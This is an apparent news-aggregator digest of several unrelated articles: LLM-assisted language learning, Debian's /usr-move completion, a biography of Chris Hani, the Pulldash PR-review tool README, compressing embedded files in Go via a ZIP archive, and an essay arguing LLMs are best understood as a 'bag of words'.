One of the most useful prompts when learning a new language is "Is this the most idiomatic way to do this in Go?". Large language models are good at recognizing patterns and can point out when you're writing code that works but doesn't follow the conventions of the language. This is especially valuable early on when you don't yet have a feel for what "good" code looks like in that language.

It's usually pretty easy (at least for an experience developer) to tell when the LLM suggestion is actually counter productive or wrong. If it increases complexity or is harder to read/decode, it's probably not a good idea to do it.

Reviews

One way a new dev gets better is through code review. If you have access to a friend who's an expert in the language you're learning, then you can definitely gain a lot by asking for feedback on your code.

If you don't have access to such a valuable resource, or as a first step before you consult your friend, I found that AI-assisted code reviews can be useful:

  1. Get the model to write the review prompt for you. Describe what you want reviewed and let it generate a detailed prompt.
  2. Feed that prompt to multiple models. They each have different answers and will detect different problems.
  3. Be prepared to ignore 50% of what they recommend. Some suggestions will be stylistic preferences, others will be wrong, or irrelevant.

The value is in the other 50%: the suggestions that make you think about your code differently or catch genuine problems.

Similarly for security reviews:

  • A lot of what they flag will need to be ignored (false positives, or things that don't apply to your threat model).
  • Some of it may highlight areas for improvement that you hadn't considered.
  • Occasionally, they will point out real vulnerabilities.

But always keep in mind that AI chatbots are trained to be people-pleasers and often feel the need to suggest something when nothing was needed

An unexpected benefit

One side effect of using AI assistants was that having them write the scaffolding for unit tests motivated me to increase my code coverage. Trimming unnecessary test cases and adding missing ones is pretty quick when the grunt work is already done, and I ended up testing more of my code (being a personal project written in my own time) than I might have otherwise.

In the end, I continue to believe in the value of learning from quality books (I find reading paper-based most effective). In addition, I like to create Anki questions for common mistakes or things I find I have to look up often. Remembering something will always be faster than asking an AI tool.

So my experience this year tells me that LLMs can supplement traditional time-tested learning techniques, but I don't believe it obsoletes them.

P.S. I experimented with getting an LLM to ghost-write this post for me from an outline (+ a detailed style guide ) and I ended up having to rewrite at least 75% of it. It was largely a waste of time.

Freexian Collaborators: Debian's /usr-move transition has been completed (by Helmut Grohne)

PlanetDebian
www.freexian.com
2025-12-08 00:00:00
By now, the /usr-merge is an old transition. Effectively, it turns top-level directories such as /bin into symbolic links pointing below /usr. That way the entire operating system can be contained below the /usr hierarchy enabling e.g. image based update mechanisms. It was first supported in Debian ...
Original Article

By now, the /usr-merge is an old transition. Effectively, it turns top-level directories such as /bin into symbolic links pointing below /usr . That way the entire operating system can be contained below the /usr hierarchy enabling e.g. image based update mechanisms. It was first supported in Debian 9, which is no longer in active use at this point (except for users of Freexian’s ELTS offer ). When it became mandatory in Debian 12, it wasn’t really done though, because Debian’s package manager was not prepared to handle file system objects being referred to via two different paths. With nobody interested in handling the resulting issues, Freexian stepped in and funded a project lead by Helmut Grohne to resolve the remaining issues.

While the initial idea was to enhance the package manager, Debian’s members disagreed. They preferred an approach where files were simply tracked with their physical location while handling the resulting misbehavior of the package manager using package-specific workarounds. This has been recorded in the DEP17 document . During the Debian 13 release cycle, the plan has been implemented. A tool for detecting possible problems was developed specifically for this transition. Since all files are now tracked with their physical location and necessary workarounds have been added, problematic behavior is no longer triggered. An upgrade from Debian 12 to Debian 13 is unlikely to run into aliasing problems as a result.

This whole project probably consumed more than 1500 hours of work from Debian contributors, of which 700 were sponsored by Freexian through the work of Helmut Grohne. What remains is eventually removing the workarounds .

Chris Hani’s Murder Robbed South Africa of a Great Leader

Portside
portside.org
2025-12-07 23:55:12
Chris Hani’s Murder Robbed South Africa of a Great Leader Ira Sun, 12/07/2025 - 18:55 ...
Original Article

The assassination of Chris Hani in April 1993 was a decisive moment in South Africa’s transition to democracy. Nelson Mandela used this tragic event to pressure President F. W. De Klerk to conclude negotiations and announce a date for the elections that would bring the African National Congress (ANC) to power the following year, marking the formal end of apartheid.

Hani was born in 1942, the same year as two of Mandela’s successors as president, Thabo Mbeki and Jacob Zuma. While Mbeki and Zuma both remain alive and politically active today, more than thirty years later, Hani did not live long enough to hold office in the new South Africa. He is nevertheless remembered today as one of the greatest of South Africans.

He played a leading role in three anti-apartheid organizations: the ANC, the South African Communist Party (SACP), and the armed wing that the ANC and SACP formed together in the 1960s, uMkhonto weSizwe (usually known as MK). By discussing in more detail his role in these organizations, we can show why his death was such a great loss to the new South Africa.

Background and Education

Hani was born in the Transkei, now the Eastern Cape. He attended Catholic primary schools in the Transkei and did his matriculation exams at Lovedale at the early age of sixteen before moving on to the University College of Fort Hare. He graduated at nineteen, having taken courses in Latin and English literature, as well as the Greek classics in English. His parents discouraged him from seeking ordination as a Catholic priest, but he valued his classical education.

He had an inherited interest in the ANC as his father, Gilbert, a labor migrant who became a small trader in Cape Town, was an active member. His uncle, Milton Hani, was also an active member of the Communist Party of South Africa, which was the SACP’s legal predecessor before the authorities banned it in 1950. His own political education began at school at Lovedale where he was drawn firstly toward the Sons of Young Africa, the youth wing of the Trotskyist Non-European Unity Movement, and then to the ANC Youth League.

It was at Fort Hare that Hani joined a Marxist study group under the influence of Govan Mbeki, who was a leader of both the ANC and the SACP. South Africa’s Communists had reconstituted their party in 1953 as a clandestine organization after the government ban; the ANC was also outlawed in 1960. Hani’s study group read the Communist Manifesto and Emile Burns’s What is Marxism? , and he enlisted in an underground cell of the SACP during his time in Fort Hare.

After graduation in 1961, Hani joined his father in Cape Town and became an articled clerk in a firm of attorneys. He soon became a member of MK and did elementary military training. In 1963, he moved north to Johannesburg and then through Bechuanaland (now Botswana) and Northern Rhodesia (now Zambia) to Tanganyika (now Tanzania).

From there, he traveled with other activists to the Soviet Union, where he spent a year, undergoing military training and political education in Moscow. He traveled widely in the USSR and especially valued his exposure to ballet, opera, and Russian literature.

The Wankie Campaign

In 1965, Hani returned to newly independent Zambia, where he became one of a group of ANC and MK leaders who were planning a return to South Africa. When it became clear in 1966 that newly independent Botswana would not provide a transit route for freedom fighters to South Africa, the ANC leadership resolved to form an alliance with the Zimbabwean African Political Union, seeking to open a route through Rhodesia, which was ruled by the white-settler dictatorship of Ian Smith.

A group of seventy-nine men, mainly MK members, crossed the Zambezi river near Livingstone on July 31, 1967, in what came to be known as the Wankie Campaign. Hani was one of the leaders of a group who first clashed with Rhodesian forces three weeks after crossing the Zambezi.

In the wake of another clash, he led a group of about twenty men who took refuge in Botswana where they surrendered to the local paramilitary police. The authorities charged them with having entered Botswana carrying weapons of war and they received two-year prison sentences, although they were released after one year.

Hani returned to Zambia with others in September 1968. Although the members of what was called the Luthuli Detachment had failed in their military objectives, they had shown great bravery and sustained heavy losses. Hani was later certain that the campaign was a good example of armed propaganda and helped to inspire resistance within South Africa, including the Black Consciousness Movement, which had its origins in the late 1960s.

The Hani Memorandum

Hani’s role in the Wankie Campaign earned him a reputation for physical courage. It was his role in the campaign’s aftermath that also gave him a reputation for moral courage. He became the lead signatory, one of seven, of a three-thousand-word document that was written in January 1969 and became known as the “Hani Memorandum.” The opening sentence stated: “The ANC in Exile is in deep crisis as a result of which a rot has set in.”

Although the document did not attack the ANC president Oliver Tambo personally, this was a devastating critique of the Congress leadership as a whole and of its failure to recognize the “heroes and martyrs” of the Wankie Campaign and the subsequent, equally unsuccessful Sipolilo Campaign. The main targets of the memorandum were Joe Modise, MK’s commander-in-chief, and Duma Nokwe, ANC secretary-general and head of the security department. The authors saw the security department as being more closely focused on detecting subversion among the membership than on defending the organization against external attack.

The memorandum concluded with a demand for a conference to discuss the issues it raised. Modise and Nokwe responded with fury. When the signatories refused to attend a tribunal that they considered to be stacked against them, they were first suspended and then expelled from the ANC. They were even threatened with execution, and Hani believed that his life was in danger. He withdrew for a while to the Zambian Copperbelt where he stayed with expatriate friends.

However, Tambo agreed to hold the conference that the memorandum demanded, which took place in the Tanzanian city of Morogoro in April 1969. While Hani and the other signatories were unable to attend as they were no longer ANC members, the conference did recommend their reinstatement, which took effect in June. Modise was demoted, though he remained commander of MK, and Nokwe was replaced as secretary-general and head of security.

Among the important policy decisions of the conference were the formal opening of membership of the ANC and its national executive to white, colored, and Indian members. This brought the Congress in line with the practice of MK and signified the end of the multiracial Congress Alliance and a step towards non-racialism. The conference also adopted a new “Strategy and Tactics” document, which, in response to the Memorandum, specifically rejected “militarism” and emphasized the primacy of political struggle.

Political Work From Lesotho

While Hani’s reinstatement did not occur without controversy, he was rapidly promoted to positions of leadership. He became the SACP’s deputy-general-secretary in 1972, and was elected to the ANC’s National Executive Committee (NEC) in 1974, along with Thabo Mbeki. He began to play a diplomatic role and traveled to Scandinavia in 1972–73, establishing close links with Sweden.

In September 1974, he became the first serving member of the NEC to enter South Africa for underground work, although he was unable to stay long. He moved on to Lesotho, a country where he had connections through Limpho Sekamane, who he had recently married, and through his father, Gilbert. Hani Sr had been running a café in Mafeteng with his partner, Elizabeth Mafikeng, a trade unionist, since 1963.

Hani was to remain based in Lesotho until 1982. Although he carried out some recruiting for MK, he did very little military work during this time. Most of his activity involved political liaisons with established and newly emerging trade unions; with Black Consciousness organizations, such as the Port Elizabeth Black Civic Organization; and with the opposition to the Bantustan government in the Transkei. Hani and the Lesotho branch of the ANC were putting into practice the Morogoro Conference’s resolution about the primacy of political work.

His stay in Lesotho became increasingly dangerous, and there were attempts on his life in 1981 and 1982. The ANC eventually withdrew Hani from the country at the request of its government in 1982. His wife and family were lucky to escape death in December of that year when there was a massive South African raid on Lesotho’s capital, Maseru, which killed many ANC members and local citizens.

Military Work and Negotiations

In 1983, Hani was appointed deputy commander and political commissar of MK, and he became the organization’s chief of staff in 1987. In these capacities, he traveled frequently between Angola, Zambia, and Mozambique. However, the Nkomati Accord of March 1984 between the Mozambican government and the apartheid regime meant that he was henceforth excluded from the country, and MK later had to withdraw from its Angolan camps to Uganda in 1988.

In the early months of 1984, Hani had to contend with two major mutinies in the Angolan camps, which were prompted by poor living conditions; MK casualties in fighting with UNITA, which was engaged in a civil war with the Angolan government; and the frustration of cadres who saw no prospect of getting into action in South Africa. While Hani could not escape some responsibility for the crises in Angola, he and Joe Slovo had an image of being on the side of the troops, in contrast with Joe Modise, the MK commander, and the hated security apparatus.

His continuing popularity was demonstrated when he came top of the poll in the NEC elections at the Kabwe Consultative Conference in 1985. MK activity in South Africa reached a peak in 1988 and then declined as pressure on its bases in the frontline states increased.

In 1985, the movement toward a negotiated settlement began after the meeting of ANC leaders with the Anglo-American delegation of South African businessmen and journalists, as guests of Zambian President Kenneth Kaunda, in the Luangwa National Park. Hani represented MK and made only one intervention in the discussions, saying that while the ANC was accused of violence, it was the government of President P. W. Botha that was the truly violent actor.

In the years leading up to the ANC’s unbanning and the release of Mandela in February 1990, and during the subsequent period of negotiations, observers generally portrayed Hani as a hard-line figure in contrast with Thabo Mbeki, the conciliator. Although he was sometimes involved in the unfolding process — for example, through participating in the CODESA talks in December 1991 — he did not play a major role overall. He and Slovo acted with Cyril Ramaphosa, the ANC secretary-general, to remove Mbeki and Jacob Zuma from leadership of the talks in August 1991 on the grounds that they were moving too slowly.

In December 1991, Hani stepped down as MK chief of staff and as a member of the ANC’s National Working Committee, taking over from Slovo as general secretary — in other words, leader — of the SACP. This came at a moment when the Soviet Union was disintegrating, and half the members of the SACP’s central committee (including Mbeki and Zuma) had resigned from the party, not wishing to be identified as communists. Yet Hani, with characteristic courage, took on the leadership role.

Crisis of Socialism

He had always been politically close to Slovo, and the two men had in general welcomed the ascension of Mikhail Gorbachev and his reform agenda of glasnost and perestroika . Hani agreed with the thrust of Slovo’s pamphlet , Has Socialism Failed?, published in January 1990, in which he argued that Soviet communism was a distortion of socialist ideals, but that its failure did not discredit those ideals as such.

In an interview conducted shortly before his death, Hani said that while he and his comrades might have been blind not to see the lack of democracy in the Soviet Union, socialism was no more invalidated by the bad things done in its name than Christianity had been. He did not believe that the crisis of international socialism represented the “end of history.”

Hani was a progressive on many issues, including his support for feminism, his response to the HIV/AIDS pandemic, and his views on rural feudalism and the role of chiefs. He saw the function of the SACP as the promotion of “democratic socialism” within the ANC and of the “national democratic revolution” in South Africa as a whole.

There was room in this framework for “born-again socialists and born-again communists,” committed to pluralism and a multiparty system. Hani and his co-thinkers did not wish to impose socialism, and they rejected concepts such as that of the “dictatorship of the proletariat.” He had personally come to accept that there was a role for the market in economic life, but he argued that “the great majority of South Africa’s people are not even in the market.”

As Hani acknowledged, he was in the unusual position of heading a communist party that was growing rapidly at a time when most communist parties in the rest of the world were in decline. However, he rejected the suggestion of his friend Wolfie Kodesh that he might want to lead the SACP into an oppositional stance toward the ANC.

It is not entirely clear why he decided, not long before his death, that he would not participate in the projected government of national unity, which would bring together the ANC and the outgoing nationalist party for a period of up to five years. It is possible that he had doubts about the viability of the government of national unity, which ultimately lasted less than two years after being established a year after his assassination.

A Lost Leader

Hani had always been more skeptical about the negotiating process than his rival Thabo Mbeki, and he took a harder line as it unfolded. He appears to have believed that it was important for him, as the SACP’s leader, to assume an independent and critical role in the transitional phase: “The perks of a new government are not really appealing to me . . . the real problems of the country are not whether one is in cabinet, or a key minister, but what we do for social upliftment of the working masses of our people.”

There are still unresolved questions about Hani’s murder in 1993. Were the two men found guilty of his assassination, Janusz Waluś and Clive Derby-Lewis, acting independently, or were they acting, as seems likely, as agents of the apartheid state? We do not know for sure.

It is also impossible to say what the wider political consequences of his death proved to be. Hani was the ANC’s most popular and highly respected leader, receiving 95 percent of the vote in the NEC elections at the first ANC conference held inside the country in July 1991.

Would he, and not Mbeki, have succeeded Nelson Mandela as president of South Africa in 1999, and would that have affected the course of South African history? All that we can say for sure is that his death represented an incalculable loss to South Africa.


Hugh Macmillan is a prominent South African historian, researcher, and author known for his extensive work on Southern African history, particularly the African National Congress (ANC) in exile, business history (like Susman Brothers & Wulfsohn), and biographies of key figures (Chris Hani, Oliver Tambo) . He taught at universities in Zambia, Swaziland, and South Africa before becoming a Research Associate at Oxford University's African Studies Centre and Senior Research Associate at the University of Johannesburg.

Jacobin is a leading voice of the American left, offering socialist perspectives on politics, economics, and culture. The print magazine is released quarterly and reaches 75,000 subscribers, in addition to a web audience of over 3,000,000 a month.

Subscribe to Jacobin today , get four beautiful editions a year, and help us build a real, socialist alternative to billionaire media.

Since 2010, Jacobin has emerged as a leading voice of the American left. Every month we reach millions of people, most of whom browse online for free.

We are committed to ensuring that socialist thought is both as rigorously produced as possible and available for public use. Over the past year, our website registered 20 million visitors, offering them perspectives to not just understand, but change the world.

Over the next year, we’ll produce 2,500 original essays, release paperback books, start reading groups in new locations, and host an international event series.

But even as our audience grows, with rising postal costs and all the other expenses involved with producing a print magazine, we have to count on you, our most committed readers, to thrive.

As a 501(c)(3) nonprofit organization, donations to Jacobin Foundation are tax-deductible. If you are a grant maker or would like to learn about other ways to give, including bequests or stocks and bonds, please contact us at development jacobin.com.

Donate to Jacobin.

Pulldash: Fast, filterable GitHub PR review. Entirely client-side

Lobsters
github.com
2025-12-07 23:18:13
Comments...
Original Article

pulldash logo Pulldash

GitHub Release GitHub License GitHub Actions Workflow Status

Fast, filterable PR review. Entirely client-side.

Warning

Pulldash is WIP. Expect bugs.

Try It

Browser : pulldash.com . Replace github.com with pulldash.com in any PR URL.

Desktop : Latest release for Linux, macOS, Windows.

Example

Features

  • Custom filters : Add repos and filter by review requests, authored PRs, or all activity.

    Filtering PRs

  • Keyboard-driven : j / k to navigate files, arrows for lines, c to comment, s to submit.

    Keybinds

  • Fast file search : Ctrl+K to fuzzy-find across hundreds of changed files.

    Search

Why

  • GitHub's review UI is slow (especially for large diffs)
  • No central view to filter PRs you care about
  • AI tooling has produced more PRs than ever before—making a snappy review UI essential

How It Works

GitHub's API supports CORS , so Pulldash runs entirely client-side. No backend proxying your requests.

  • Web Worker pool : Diff parsing and syntax highlighting run in workers sized to navigator.hardwareConcurrency . The main thread stays free for scrolling.

  • Pre-computed navigation : When a diff loads, we index all navigable lines. Arrow keys are O(1)—no DOM queries.

  • External store : State lives outside React ( useSyncExternalStore ). Focusing line 5000 doesn't re-render the file tree.

  • Virtualized rendering : Diffs, file lists, and the command palette only render visible rows.

Development

License

AGPL

Vincent Bernat: Compressing embedded files in Go

PlanetDebian
vincent.bernat.ch
2025-12-07 23:05:14
Go’s embed feature lets you bundle static assets into an executable, but it stores them uncompressed. This wastes space: a web interface with documentation can bloat your binary by dozens of megabytes. A proposition to optionally enable compression was declined because it is difficult to handle all ...
Original Article

Go’s embed feature lets you bundle static assets into an executable, but it stores them uncompressed. This wastes space: a web interface with documentation can bloat your binary by dozens of megabytes. A proposition to optionally enable compression was declined because it is difficult to handle all use cases. One solution? Put all the assets into a ZIP archive! 🗜️

Code #

The Go standard library includes a module to read and write ZIP archives . It contains a function that turns a ZIP archive into an io/fs.FS structure that can replace embed.FS in most contexts. 1

package embed

import (
  "archive/zip"
  "bytes"
  _ "embed"
  "fmt"
  "io/fs"
  "sync"
)

//go:embed data/embed.zip
var embeddedZip []byte

var dataOnce = sync.OnceValue(func() *zip.Reader {
  r, err := zip.NewReader(bytes.NewReader(embeddedZip), int64(len(embeddedZip)))
  if err != nil {
    panic(fmt.Sprintf("cannot read embedded archive: %s", err))
  }
  return r
})

func Data() fs.FS {
  return dataOnce()
}

We can build the embed.zip archive with a rule in a Makefile . We specify the files to embed as dependencies to ensure changes are detected.

common/embed/data/embed.zip: console/data/frontend console/data/docs
common/embed/data/embed.zip: orchestrator/clickhouse/data/protocols.csv 
common/embed/data/embed.zip: orchestrator/clickhouse/data/icmp.csv
common/embed/data/embed.zip: orchestrator/clickhouse/data/asns.csv
common/embed/data/embed.zip:
    mkdir -p common/embed/data && zip --quiet --recurse-paths --filesync $@ $^

The automatic variable $@ is the rule target, while $^ expands to all the dependencies, modified or not.

Space gain #

Akvorado , a flow collector written in Go, embeds several static assets:

  • CSV files to translate port numbers, protocols or AS numbers, and
  • HTML, CSS, JS, and image files for the web interface, and
  • the documentation.

Breakdown of space used by each package before and after introducing
embed.zip. It is displayed as a treemap and we can see many embedded files
replaced by a bigger one.

Breakdown of the space used by each component before (left) and after (right) the introduction of embed.zip .

Embedding these assets into a ZIP archive reduced the size of the Akvorado executable by more than 4 MiB:

$ unzip -p common/embed/data/embed.zip | wc -c | numfmt --to=iec
7.3M
$ ll common/embed/data/embed.zip
-rw-r--r-- 1 bernat users 2.9M Dec  7 17:17 common/embed/data/embed.zip

Performance loss #

Reading from a compressed archive is not as fast as reading a flat file. A simple benchmark shows it is more than 4× slower. It also allocates some memory.

goos: linux
goarch: amd64
pkg: akvorado/common/embed
cpu: AMD Ryzen 5 5600X 6-Core Processor
BenchmarkData/compressed-12     2262   526553 ns/op   610 B/op   10 allocs/op
BenchmarkData/uncompressed-12   9482   123175 ns/op     0 B/op    0 allocs/op

While a ZIP archive has an index to quickly find the requested file, seeking inside a compressed file is currently not possible. 2 Therefore, the files from a compressed archive do not implement the io.ReaderAt or io.Seeker interfaces, unlike directly embedded files. This prevents some features, like serving partial files or detecting MIME types when serving files over HTTP.


For Akvorado, this is an acceptable compromise to save a few mebibytes from an executable of almost 100 MiB. Next week, I will continue this futile adventure by explaining how I prevented Go from disabling dead code elimination ! 🦥


  1. You can safely read multiple files concurrently. However, it does not implement ReadDir() and ReadFile() methods. ↩︎

  2. SOZip is a profile that enables fast random access in a compressed file. However, Go’s archive/zip module does not support it. ↩︎

Bag of words, have mercy on us

Hacker News
www.experimental-history.com
2025-12-07 22:31:22
Comments...
Original Article
photo cred: my dad

Look, I don’t know if AI is gonna kill us or make us all rich or whatever, but I do know we’ve got the wrong metaphor.

We want to understand these things as people . When you type a question to ChatGPT and it types back the answer in complete sentences, it feels like there must be a little guy in there doing the typing. We get this vivid sense of “ it’s alive!! ”, and we activate all of the mental faculties we evolved to deal with fellow humans: theory of mind , attribution , impression management , stereotyping , cheater detection , etc.

We can’t help it; humans are hopeless anthropomorphizers. When it comes to perceiving personhood, we’re so trigger-happy that we can see the Virgin Mary in a grilled cheese sandwich :

A human face in a slice of nematode:

And an old man in a bunch of poultry and fish atop a pile of books:

Apparently, this served us well in our evolutionary history—maybe it’s so important not to mistake people for things that we err on the side of mistaking things for people . 1 This is probably why we’re so willing to explain strange occurrences by appealing to fantastical creatures with minds and intentions: everybody in town is getting sick because of WITCHES, you can’t see the sun right now because A WOLF ATE IT, the volcano erupted because GOD IS MAD. People who experience sleep paralysis sometimes hallucinate a demon-like creature sitting on their chest, and one explanation is that the subconscious mind is trying to understand why the body can’t move, and instead of coming up with “I’m still in REM sleep so there’s not enough acetylcholine in my brain to activate my primary motor cortex”, it comes up with “BIG DEMON ON TOP OF ME”.

This is why the past three years have been so confusing—the little guy inside the AI keeps dumbfounding us by doing things that a human wouldn’t do. Why does he make up citations when he does my social studies homework? How come he can beat me at Go but he can’t tell me how many “r”s are in the word “strawberry” ? Why is he telling me to put glue on my pizza ? 2

Trying to understand LLMs by using the rules of human psychology is like trying to understand a game of Scrabble by using the rules of Pictionary. These things don’t act like people because they aren’t people. I don’t mean that in the deflationary way that the AI naysayers mean it. They think denying humanity to the machines is a well-deserved insult; I think it’s just an accurate description. 3 As long we try to apply our person perception to artificial intelligence, we’ll keep being surprised and befuddled.

We are in dire need of a better metaphor. Here’s my suggestion: instead of seeing AI as a sort of silicon homunculus, we should see it as a bag of words.

An AI is a bag that contains basically all words ever written, at least the ones that could be scraped off the internet or scanned out of a book. When users send words into the bag, it sends back the most relevant words it has. There are so many words in the bag that the most relevant ones are often correct and helpful, and AI companies secretly add invisible words to your queries to make this even more likely.

This is an oversimplification, of course. But it’s also surprisingly handy. For example, AIs will routinely give you outright lies or hallucinations, and when you’re like “Uhh hey that was a lie”, they will immediately respond “Oh my god I’m SO SORRY!! I promise I’ll never ever do that again!! I’m turning over a new leaf right now, nothing but true statements from here on” and then they will literally lie to you in the next sentence. This would be baffling and exasperating behavior coming from a human, but it’s very normal behavior coming from a bag of words. If you toss a question into the bag and the right answer happens to be in there, that’s probably what you’ll get. If it’s not in there, you’ll get some related-but-inaccurate bolus of sentences. When you accuse it of lying, it’s going to produce lots of words from the “I’ve been accused of lying” part of the bag. Calling this behavior “malicious” or “erratic” is misleading because it’s not behavior at all, just like it’s not “behavior” when a calculator multiplies numbers for you.

“Bag of words” is a also a useful heuristic for predicting where an AI will do well and where it will fail. “Give me a list of the ten worst transportation disasters in North America” is an easy task for a bag of words, because disasters are well-documented. On the other hand, “Who reassigned the species Brachiosaurus brancai to its own genus, and when?” is a hard task for a bag of words, because the bag just doesn’t contain that many words on the topic. 4 And a question like “What are the most important lessons for life?” won’t give you anything outright false, but it will give you a bunch of fake-deep pablum, because most of the text humans have produced on that topic is, no offense, fake-deep pablum.

When you forget that an AI is just a big bag of words, you can easily slip into acting like it’s an all-seeing glob of pure intelligence. For example, I was hanging with a group recently where one guy made everybody watch a video of some close-up magic, and after the magician made some coins disappear, he exclaimed, “I asked ChatGPT how this trick works, and even it didn’t know!” as if this somehow made the magic extra magical. In this person’s model of the world, we are all like shtetl-dwelling peasants and AI is like our Rabbi Hillel, the only learned man for 100 miles. If Hillel can’t understand it, then it must be truly profound!

If that guy had instead seen ChatGPT as a bag of words, he would have realized that the bag probably doesn’t contain lots of detailed descriptions of contemporary coin tricks. After all, magicians make money from performing and selling their tricks, not writing about them at length on the internet. Plus, magic tricks are hard to describe—“He had three quarters in his hand and then it was two pennies!”—so you’re going to have a hard time prompting the right words out of the bag. The coin trick is not literally magic, and neither is the bag of words.

The “bag of words” metaphor can also help us guess what these things are gonna do next. If you want to know whether AI will get better at something in the future, just ask: “can you fill the bag with it?” For instance, people are kicking around the idea that AI will replace human scientists . Well, if you want your bag of words to do science for you, you need to stuff it with lots of science. Can we do that?

When it comes to specific scientific tasks, yes, we already can. If you fill the bag with data from 170,000 proteins, for example, it’ll do a pretty good job predicting how proteins will fold. Fill the bag with chemical reactions and it can tell you how to synthesize new molecules . Fill the bag with journal articles and then describe an experiment and it can tell you whether anyone has already scooped you .

All of that is cool, and I expect more of it in the future. I don’t think we’re far from a bag of words being able to do an entire low-quality research project from beginning to end—coming up with a hypothesis, designing the study, running it, analyzing the results, writing them up, making the graphs, arranging it all on a poster, all at the click of a button—because we’ve got loads of low-quality science to put in the bag. If you walk up and down the poster sessions at a psychology conference, you can see lots of first-year PhD students presenting studies where they seemingly pick some semi-related constructs at random, correlate them, and print out a p-value (“Does self-efficacy moderate the relationship between social dominance orientation and system-justifying beliefs?”). A bag of words can basically do this already ; you just need to give it access to an online participant pool and a big printer. 5

But science is a strong-link problem ; if we produced a million times more crappy science, we’d be right where we are now. If we want more of the good stuff, what should we put in the bag? You could stuff the bag with papers, but some of them are fraudulent, some are merely mistaken, and all of them contain unstated assumptions that could turn out to be false. And they’re usually missing key information—they don’t share the data, or they don’t describe their methods in adequate detail. Markus Strasser, an entrepreneur who tried to start one of those companies that’s like “we’ll put every scientific paper in the bag and then ??? and then profit”, eventually abandoned the effort , saying that “close to nothing of what makes science actually work is published as text on the web.” 6

Here’s one way to think about it: if there had been enough text to train an LLM in 1600, would it have scooped Galileo? My guess is no. Ask that early modern ChatGPT whether the Earth moves and it will helpfully tell you that experts have considered the possibility and ruled it out . And that’s by design. If it had started claiming that our planet is zooming through space at 67,000mph, its dutiful human trainers would have punished it: “Bad computer!! Stop hallucinating!!”

In fact, an early 1600s bag of words wouldn’t just have the right words in the wrong order. At the time, the right words didn’t exist . As the historian of science David Wootton points out 7 , when Galileo was trying to describe his discovery of the moons of Jupiter, none of the languages he knew had a good word for “discover”. He had to use awkward circumlocutions like “I saw something unknown to all previous astronomers before me”. The concept of learning new truths by looking through a glass tube would have been totally foreign to an LLM of the early 1600s, as it was to most of the people of the early 1600s, with a few notable exceptions.

You would get better scientific descriptions from a 2025 bag of words than you would from a 1600 bag of words. But both bags might be equally bad at producing the scientific ideas of their respective futures. Scientific breakthroughs often require doing things that are irrational and unreasonable for the standards of the time and good ideas usually look stupid when they first arrive, so they are often—with good reason!—rejected, dismissed, and ignored. This is a big problem for a bag of words that contains all of yesterday’s good ideas. Putting new ideas in the bag will often make the bag worse, on average, because most of those new ideas will be wrong. That’s why revolutionary research requires not only intelligence, but also stupidity . I expect humans to remain usefully stupider than bags of words for the foreseeable future.

The most important part of the “bag of words” metaphor is that it prevents us from thinking about AI in terms of social status . Our ancestors had to play status games well enough to survive and reproduce—losers, by and large, don’t get to pass on their genes. This has left our species exquisitely attuned to who’s up and who’s down. Accordingly, we can turn anything into a competition: cheese rolling , nettle eating , phone throwing , toe wrestling , and ferret legging , where male contestants, sans underwear, put live ferrets in their pants for as long as they can. (The world record is five hours and thirty minutes .)

When we personify AI, we mistakenly make it a competitor in our status games. That’s why we’ve been arguing about artificial intelligence like it’s a new kid in school: is she cool? Is she smart? Does she have a crush on me? The better AIs have gotten, the more status-anxious we’ve become. If these things are like people, then we gotta know: are we better or worse than them? Will they be our masters, our rivals, or our slaves? Is their art finer, their short stories tighter, their insights sharper than ours? If so, there’s only one logical end: ultimately, we must either kill them or worship them.

But a bag of words is not a spouse, a sage, a sovereign, or a serf. It’s a tool. Its purpose is to automate our drudgeries and amplify our abilities. Its social status is NA; it makes no sense to ask whether it’s “better” than us. The real question is: does using it make us better?

That’s why I’m not afraid of being rendered obsolete by a bag of words. Machines have already matched or surpassed humans on all sorts of tasks. A pitching machine can throw a ball faster than a human can, spellcheck gets the letters right every time, and autotune never sings off key. But we don’t go to baseball games, spelling bees, and Taylor Swift concerts for the speed of the balls, the accuracy of the spelling, or the pureness of the pitch. We go because we care about humans doing those things. It wouldn’t be interesting to watch a bag of words do them—unless we mistakenly start treating that bag like it’s a person.

(That’s also why I see no point in using AI to, say, write an essay, just like I see no point in bringing a forklift to the gym. Sure, it can lift the weights, but I’m not trying to suspend a barbell above the floor for the hell of it. I lift it because I want to become the kind of person who can lift it. Similarly, I write because I want to become the kind of person who can think.)

But that doesn’t mean I’m unafraid of AI entirely. I’m plenty afraid! Any tool can be dangerous when used the wrong way—nail guns and nuclear reactors can kill people just fine without having a mind inside them. In fact, the “bag of words” metaphor makes it clear that AI can be dangerous precisely because it doesn’t operate like humans do. The dangers we face from humans are scary but familiar: hotheaded humans might kick you in the head, reckless humans might drink and drive, duplicitous humans might pretend to be your friend so they can steal your identity. We can guard against these humans because we know how they operate. But we don’t know what’s gonna come out of the bag of words. For instance, if you show humans computer code that has security vulnerabilities, they do not suddenly start praising Hitler. But LLMs do . 8 So yes, I would worry about putting the nuclear codes in the bag. 9

Anyone who has owned an old car has been tempted to interpret its various malfunctions as part of its temperament . When it won’t start on a cold day, it feels like the appropriate response is to plead, the same way you would with a sleepy toddler or a tardy partner: “C’mon Bertie, we gotta get to the dentist!” But ultimately, person perception is a poor guide to vehicle maintenance. Cars are made out of metal and plastic that turn gasoline into forward motion; they are not made out of bones and meat that turn Twinkies into thinking. If you want to fix a broken car, you need a wrench, a screwdriver, and a blueprint, not a cognitive-behavioral therapy manual.

Similarly, anyone who sees a mind inside the bag of words has fallen for a trick. They’ve had their evolution exploited. Their social faculties are firing not because there’s a human in front of them, but because natural selection gave those faculties a hair trigger. For all of human history, something that talked like a human and walked like a human was, in fact, a human. Soon enough, something that talks and walks like a human may, in fact, be a very sophisticated logistic regression. If we allow ourselves to be seduced by the superficial similarity, we’ll end up like the moths who evolved to navigate by the light of the moon, only to find themselves drawn to—and ultimately electrocuted by—the mysterious glow of a bug zapper.

Unlike moths, however, we aren’t stuck using the instincts that natural selection gave us. We can choose the schemas we use to think about technology. We’ve done it before: we don’t refer to a backhoe as an “artificial digging guy” or a crane as an “artificial tall guy”. We don’t think of books as an “artificial version of someone talking to you”, photographs as “artificial visual memories”, or listening to recorded sound as “attending an artificial recital”. When pocket calculators debuted, they were already smarter than every human on Earth, at least when it comes to calculation—a job that itself used to be done by humans . Folks wondered whether this new technology was “a tool or a toy”, but nobody seems to have wondered whether it was a person .

(If you covered a backhoe with skin, made its bucket look like a hand, painted eyes on its chassis, and made it play a sound like “hnngghhh!” whenever it lifted something heavy, then we’d start wondering whether there’s a ghost inside the machine. That wouldn’t tell us anything about backhoes, but it would tell us a lot about our own psychology.)

